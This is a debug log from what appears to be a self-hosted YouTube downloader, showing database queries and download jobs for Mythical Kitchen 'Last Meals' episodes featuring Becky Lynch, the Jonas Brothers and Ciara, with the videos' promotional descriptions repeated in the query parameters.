date(?) AND (m0."source_id" = ?)) [~U[2024-03-26 10:00:25Z], 1] 20:47:34.285 [debug] QUERY OK source="media_items" db=3.6ms idle=921.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Josh is cooking Becky Lynch's last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\n0:00 Becky's Last Meal Menu\n1:54 Thinking About Death\n2:57 1st Course - Tea & Sourdough Toast\n4:45 Becky's Body Image Journey\n6:16 Seth Rollins Sounds Like A Pirate\n7:42 Work Ethic & Getting To The Top\n8:16 Believing & Doubting Yourself Equally\n10:08 2nd Course - Monster Munch, Chipper Chips, Irish Stew, & Fanta\n13:41 Receipts From Jim \"The Anvil\" Neidhart\n14:48 \"You Deserve It\"\n15:58 Attempting To Be Normal\n18:00 The Proper Way To Eat Monster Munch\n19:00 3rd Course - Fried Rice & Sweet & Sour Chicken\n20:33 Grandma Wasn't Scared Of Death\n23:20 Losing A Parent While Becoming One\n25:35 Love & Legacy\n27:00 What Happens When You Die?\n28:09 4th Course - Cadbury Chocolate & Jelly\n29:34 Karma & Parenting\n31:09 Nothing Better Than Proving Someone Wrong\n32:20 Nepo Babies\n33:25 Wrestlemania & Calling Out Rhea Ripley\n34:59 Lightning Round\n36:52 Becky's Last Words\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th" <> ..., "WWE’s Becky Lynch Eats Her Last Meal", "6e52e83b-c860-4c09-bac4-d5acc1c9e24d", "https://www.youtube.com/watch?v=MS-lV6bru3Q", false, "MS-lV6bru3Q", 2276, false, 28, "/downloads/Last Meals/2024-03-26 WWE’s Becky Lynch Eats Her Last Meal/WWE’s Becky Lynch Eats Her Last Meal [MS-lV6bru3Q].mp4", false, false, 1, [], 0, ~U[2024-03-26 10:00:25Z], ~U[2026-03-28 00:47:34Z], ~U[2026-03-28 00:47:34Z], "Today, Josh is cooking Becky Lynch's last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\n0:00 Becky's Last Meal Menu\n1:54 Thinking About Death\n2:57 1st Course - Tea & Sourdough Toast\n4:45 Becky's Body Image Journey\n6:16 Seth Rollins Sounds Like A Pirate\n7:42 Work Ethic & Getting To The Top\n8:16 Believing & Doubting Yourself Equally\n10:08 2nd Course - Monster Munch, Chipper Chips, Irish Stew, & Fanta\n13:41 Receipts From Jim \"The Anvil\" Neidhart\n14:48 \"You Deserve It\"\n15:58 Attempting To Be Normal\n18:00 The Proper Way To Eat Monster Munch\n19:00 3rd Course - Fried Rice & Sweet & Sour Chicken\n20:33 Grandma Wasn't Scared Of Death\n23:20 Losing A Parent While Becoming One\n25:35 Love & Legacy\n27:00 What Happens When You Die?\n28:09 4th Course - Cadbury Chocolate & Jelly\n29:34 Karma & Parenting\n31:09 Nothing Better Than Proving Someone Wrong\n32:20 Nepo Babies\n33:25 Wrestlemania & Calling Out Rhea Ripley\n34:59 Lightning Round\n36:52 Becky's Last Words\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this seri (truncated) 20:47:34.286 [debug] QUERY OK source="sources" db=0.3ms idle=258.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:47:34.286 [debug] QUERY OK source="media_profiles" db=0.2ms idle=8.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:47:34.287 [debug] QUERY OK source="media_items" db=0.5ms idle=8.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [28] 20:47:34.287 [info] Kicking off download for media item #28 (MS-lV6bru3Q) 20:47:34.290 [debug] QUERY OK source="tasks" db=0.3ms idle=3.6ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [31, 28, ~U[2026-03-28 00:47:34Z], ~U[2026-03-28 00:47:34Z]] 20:47:34.290 [debug] Current batch of media processed. Will check again in 1000ms 20:47:35.291 [debug] Current batch of media processed. Will check again in 1000ms 20:47:36.293 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, the Jonas Brothers are eating their last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 The Jonas Brothers' Last Meal\n0:19 Meeting Buzz Aldrin\n1:19 Joe, Welcome Back!\n1:51 1st Course\n2:20 Recreating Memories With Grandpa\n5:08 Lemon Is Not A Fruit\n5:51 Greetings From Your Hometown\n7:09 Complicated Church Feelings\n10:40 What Does Home Feel Like?\n11:08 Relearning How To Be Brothers\n13:11 Nostalgia & Music Influences\n14:35 2nd Course\n17:13 Do You Believe In Past Lives?\n18:39 Spiritual Deconstruction\n23:04 We Remember Things Differently\n24:11 Why Won't Nick Marry Josh's Wife?\n25:03 3rd Course\n27:34 The Story Behind Ants On A Log\n29:13 Do You Lie To Your Children?\n30:35 Kevin Explains Labubu\n31:35 How Kids Change Your Life\n33:10 What Felt Longer— Time Apart Or Together?\n35:33 Does Nick Feel Guilty For The Breakup?\n37:37 What Do You Want Your Legacy To Be?\n40:13 Lightning Round\n45:03 The Jonas Brothers' Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "duration" => 2772, "filename" => "/downloads/Last Meals/2025-07-31 The Jonas Brothers Eat Their Last Meal/The Jonas Brothers Eat Their Last Meal [En_L4safXKo].mp4", "id" => "En_L4safXKo", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=En_L4safXKo", "playlist_index" => 29, "timestamp" => 1753956021, "title" => "The Jonas Brothers Eat Their Last Meal", "upload_date" => "20250731"} 20:47:36.294 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=262.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:47:36.295 [debug] QUERY OK source="sources" db=0.2ms queue=0.1ms idle=237.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:47:36.295 [debug] QUERY OK source="media_items" db=0.3ms idle=237.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-07-31 10:00:21Z], 1] 20:47:36.299 [debug] QUERY OK source="media_items" db=2.5ms idle=238.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, the Jonas Brothers are eating their last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 The Jonas Brothers' Last Meal\n0:19 Meeting Buzz Aldrin\n1:19 Joe, Welcome Back!\n1:51 1st Course\n2:20 Recreating Memories With Grandpa\n5:08 Lemon Is Not A Fruit\n5:51 Greetings From Your Hometown\n7:09 Complicated Church Feelings\n10:40 What Does Home Feel Like?\n11:08 Relearning How To Be Brothers\n13:11 Nostalgia & Music Influences\n14:35 2nd Course\n17:13 Do You Believe In Past Lives?\n18:39 Spiritual Deconstruction\n23:04 We Remember Things Differently\n24:11 Why Won't Nick Marry Josh's Wife?\n25:03 3rd Course\n27:34 The Story Behind Ants On A Log\n29:13 Do You Lie To Your Children?\n30:35 Kevin Explains Labubu\n31:35 How Kids Change Your Life\n33:10 What Felt Longer— Time Apart Or Together?\n35:33 Does Nick Feel Guilty For The Breakup?\n37:37 What Do You Want Your Legacy To Be?\n40:13 Lightning Round\n45:03 The Jonas Brothers' Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "The Jonas Brothers Eat Their Last Meal", "c8fd2824-4a0e-40fd-95cf-062c818a0c8d", "https://www.youtube.com/watch?v=En_L4safXKo", false, "En_L4safXKo", 2772, false, 29, "/downloads/Last Meals/2025-07-31 The Jonas Brothers Eat Their Last Meal/The Jonas Brothers Eat Their Last Meal [En_L4safXKo].mp4", false, false, 1, [], 0, ~U[2025-07-31 10:00:21Z], ~U[2026-03-28 00:47:36Z], ~U[2026-03-28 00:47:36Z], "Today, the Jonas Brothers are eating their last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 The Jonas Brothers' Last Meal\n0:19 Meeting Buzz Aldrin\n1:19 Joe, Welcome Back!\n1:51 1st Course\n2:20 Recreating Memories With Grandpa\n5:08 Lemon Is Not A Fruit\n5:51 Greetings From Your Hometown\n7:09 Complicated Church Feelings\n10:40 What Does Home Feel Like?\n11:08 Relearning How To Be Brothers\n13:11 Nostalgia & Music Influences\n14:35 2nd Course\n17:13 Do You Believe In Past Lives?\n18:39 Spiritual Deconstruction\n23:04 We Remember Things Differently\n24:11 Why Won't Nick Marry Josh's Wife?\n25:03 3rd Course\n27:34 The Story Behind Ants On A Log\n29:13 Do You Lie To Your Children?\n30:35 Kevin Explains Labubu\n31:35 How Kids Change Your Life\n33:10 What Felt Longer— Time Apart Or Together?\n35:33 Does Nick Feel Guilty For The Breakup?\n37:37 What Do You Want Your Legacy To Be?\n40:13 Lightning Round\n45:03 The Jonas Brothers' Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "The Jonas Brothers Eat Their Last Meal", "https://www.youtube.com/watch?v=En_L4safXKo", "En_L4safXKo", 2772, false, "/downloads/Last Meals/2025-07-31 The Jonas Brothers Eat Their Last Meal/The Jonas Brothers Eat Their Last Meal [En_L4safXKo].mp4", false, 1, ~U[2025-07-31 10:00:21Z]] 20:47:36.300 [debug] QUERY OK source="sources" db=0.3ms idle=242.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:47:36.301 [debug] QUERY OK source="media_profiles" db=0.3ms idle=6.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:47:36.301 [debug] QUERY OK source="media_items" db=0.4ms idle=6.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [29] 20:47:36.301 [info] Kicking off download for media item #29 (En_L4safXKo) 20:47:36.304 [debug] QUERY OK source="tasks" db=0.2ms idle=3.7ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [32, 29, ~U[2026-03-28 00:47:36Z], ~U[2026-03-28 00:47:36Z]] 20:47:36.304 [debug] Current batch of media processed. Will check again in 1000ms 20:47:37.305 [debug] Current batch of media processed. Will check again in 1000ms 20:47:38.306 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Ciara eats her last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Ciara's Last Meal\n0:28 Josh's Thesis On RIDE\n1:54 Ciara Loves To Live\n3:00 Ciara's Team Makes Her Want To Cry\n4:15 1st Course\n5:00 Ten To One\n6:16 Ciara's Waffle House Order\n7:06 Love For Family\n8:11 Professional Wing Eater\n8:44 Ciara's Epiphany\n10:30 Self-Belief At 14\n12:35 Independent Music\n13:21 Rules Of Coke\n14:10 2nd Course\n15:59 This World Is Going To Move Without You\n17:37 Check Your Compass\n19:51 Manifestation vs. Prayer\n21:57 3rd Course\n23:01 Not Glorifying Toxic Things\n23:43 Manifesting Russell Wilson\n25:22 The Busted Wallet Theory\n26:12 CIARA LORE FROM THE MYTHICAL KITCHEN\n27:22 4th Course\n27:56 Like You're Running Out Of Time\n29:22 Matthew 16:26\n31:38 Impact\n33:10 What Do You Think Happens When You Die?\n34:51 Lightning Round\n38:37 Ciara's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "duration" => 2375, "filename" => "/downloads/Last Meals/2025-07-17 Ciara Eats Her Last Meal/Ciara Eats Her Last Meal [GAFJ8istWgk].mp4", "id" => "GAFJ8istWgk", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=GAFJ8istWgk", "playlist_index" => 30, "timestamp" => 1752746433, "title" => "Ciara Eats Her Last Meal", "upload_date" => "20250717"} 20:47:38.307 [debug] QUERY OK source="sources" db=0.1ms idle=272.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:47:38.307 [debug] QUERY OK source="sources" db=0.1ms idle=249.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", 